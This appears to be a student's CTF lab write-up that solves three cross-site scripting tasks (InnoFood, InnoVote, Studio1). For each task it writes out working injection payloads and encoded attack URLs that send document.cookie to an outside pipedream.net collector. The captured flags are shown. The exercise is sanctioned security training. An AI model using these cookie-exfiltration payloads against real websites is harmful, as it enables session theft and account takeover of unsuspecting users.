

NCS lab 4

XSS

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ctfd.innoctf alias - trnsprntt

BS-18-SB-01

Task 1 - InnoFood

My first intention was trying to type in different combinations to the prompt for searching food.

```
***      var JSONResponseString = '{"food":[{"response":"Sorry, we do not  
have trying to discover where it is reflected :(")}]}';
```

The text appeared in the body script section. Trying to type a set of special characters and seeing all of them appearing the same led to the conclusion that no filtering is made on the user input.

Finally

```
"}]]}'; new
```

```
Image().src="https://enbnmurun72opp0.m.pipedream.net/?c="+document.cookie;</script>
```

- syntactically finished the string
- executed the malicious script (sent document cookie to request-processing website)
- finished the script section. The rest of the previously existing code was just interpreted as an html piece and printed on the webpage

```
▼<script>  
    var JSONResponseString = '{"food":[{"response":"Sorry, we do not have "}]}}'; new  
    Image().src="https://enbnmurun72opp0.m.pipedream.net/?c="+document.cookie;  
</script>  
    " :(")}]]}';  
    var JSONResponse = JSON.parse(JSONResponseString);  
    document.getElementById("result").innerHTML=JSONResponse.food[0].response;
```

And then my brain turned off :)

Executing this script didn't send any cookies and I wondered what might have possibly gone wrong since everything seemed to be correct

And after several hours of praying and dancing with a tambourine HALLELUJAH I saw this magic link

[Обратная связь](#)

Suddenly everything became crystal clear - I can not obtain admin cookies if that is me who is following this link, and not the admin

Get in Touch

trnsprntt

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http://tasks.innoctf.ru:42001/?
title=%22%7D%5D%7D%27%3B+new+Image%28%29.src%3D%22https%3A%2
F%2Fenbnmurun72opp0.m.pipedream.net%2F%3Fc%3D%22%2Bdocument.cooki
e%3B%3C%2Fscript%3E&action=search

Send Email

Here is the cookie! Hooray!

▼ query {1}

c: Flag=CTF{W4F_ByP455_15_fun}

url: https://enbnmurun72opp0.m.pipedream.net/?c=Flag=CTF%7BW4F_ByP455_15_fun%7D



Task 2 - InnoVote - 3 liters of tears and the tale of despair in 5 parts



how i really look like



From the 1st task, I got the principle - use the field you can type any text to and be happy

But no one said it would not be possible to escape the context of string, since the quotes (and not only the quotes) are filtering out

```
"name": " "};
```



Googling majorly said "if the server filters input from special characters, your website is safe from xss"

Then I have found the hidden parameter "country" and it felt like the light at the end of the tunnel. If only it didn't have the limit of 3 characters.

(Broken but still did not lose hope)



Trying to exploit “country” and “name” separately didn’t give any result.

The most brilliant idea that unfortunately didn’t come instantly was to use comments.

```
<script> == $0
function sendVote(movie_id) {
    data = {"country": "/*", "vote": movie_id, "name": "*/"};
    new Image().src='https://enbnmurun72opp0.m.pipedream.net?c='+document.cookie;
    function some(data){//"};
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("POST", "vote.php");
    xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xmlhttp.send(data);
    /* Change alerts to email send later */
    alert("Thank you for your vote!");
}
</script>
```

For sure the link was even more invisible :)

InnoVote

Vote because you can

Title	Release	Character	Genre	Vote
Shrek	2001	Shrek	Comedy	<input type="button" value="Vote"/>
Die Hard	1988	Bruce Willis	Action Thriller	<input type="button" value="Vote"/>
Scarface	1983	Al Pacino	Crime drama	<input type="button" value="Vote"/>

[Связаться с нами](#)

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
[Связаться с нами](#)

And it worked!

```
▼ query {1}
  c: Flag=CTF{Scr1p7_413r7_XSS}
  url: https://enbnmurun72opp0.m.pipedream.net/?c=Flag=CTF%7BScr1p7_413r7_XSS%7D
```

Task 3 - Studio1

My natural instinct was to use this area for injecting the script, but the 2nd task taught me not to trust the instincts and to use the browser address bar and also look for hidden parameters



For a second I thought it really makes sense and reflects somewhere, but it just was my grammarly extension



[http://tasks.innoctf.ru:42003/contact.php?language=%22/%3E%0a%3Cscript%3Enew%20Image\(\).src=%22https://enbnmurun72opp0.m.pipedream.net?c=%22%2Bdocument.cookie;%3C/script%3E%3Cdiv%20class=%22cleaner#](http://tasks.innoctf.ru:42003/contact.php?language=%22/%3E%0a%3Cscript%3Enew%20Image().src=%22https://enbnmurun72opp0.m.pipedream.net?c=%22%2Bdocument.cookie;%3C/script%3E%3Cdiv%20class=%22cleaner#)

This link was made to produce the following


```
<input type="text" id="language" name="language" hidden="true" value=""/>

<script>new
Image().src="https://enbnmurun72opp0.m.pipedream.net?c="+document.cookie;<
/script>

<div class="cleaner" />
```

And this link was submitted to the comment section:

```
▼ query {1}
  c: Flag=CTF{XSS_XSS_3v3rYwH3r3}
  url: https://enbnmurun72opp0.m.pipedream.net/?c=Flag=CTF%7BXSS_XSS_3v3rYwH3r3%7D
```



P.S ctf.d.innoctf alias - trnsprntt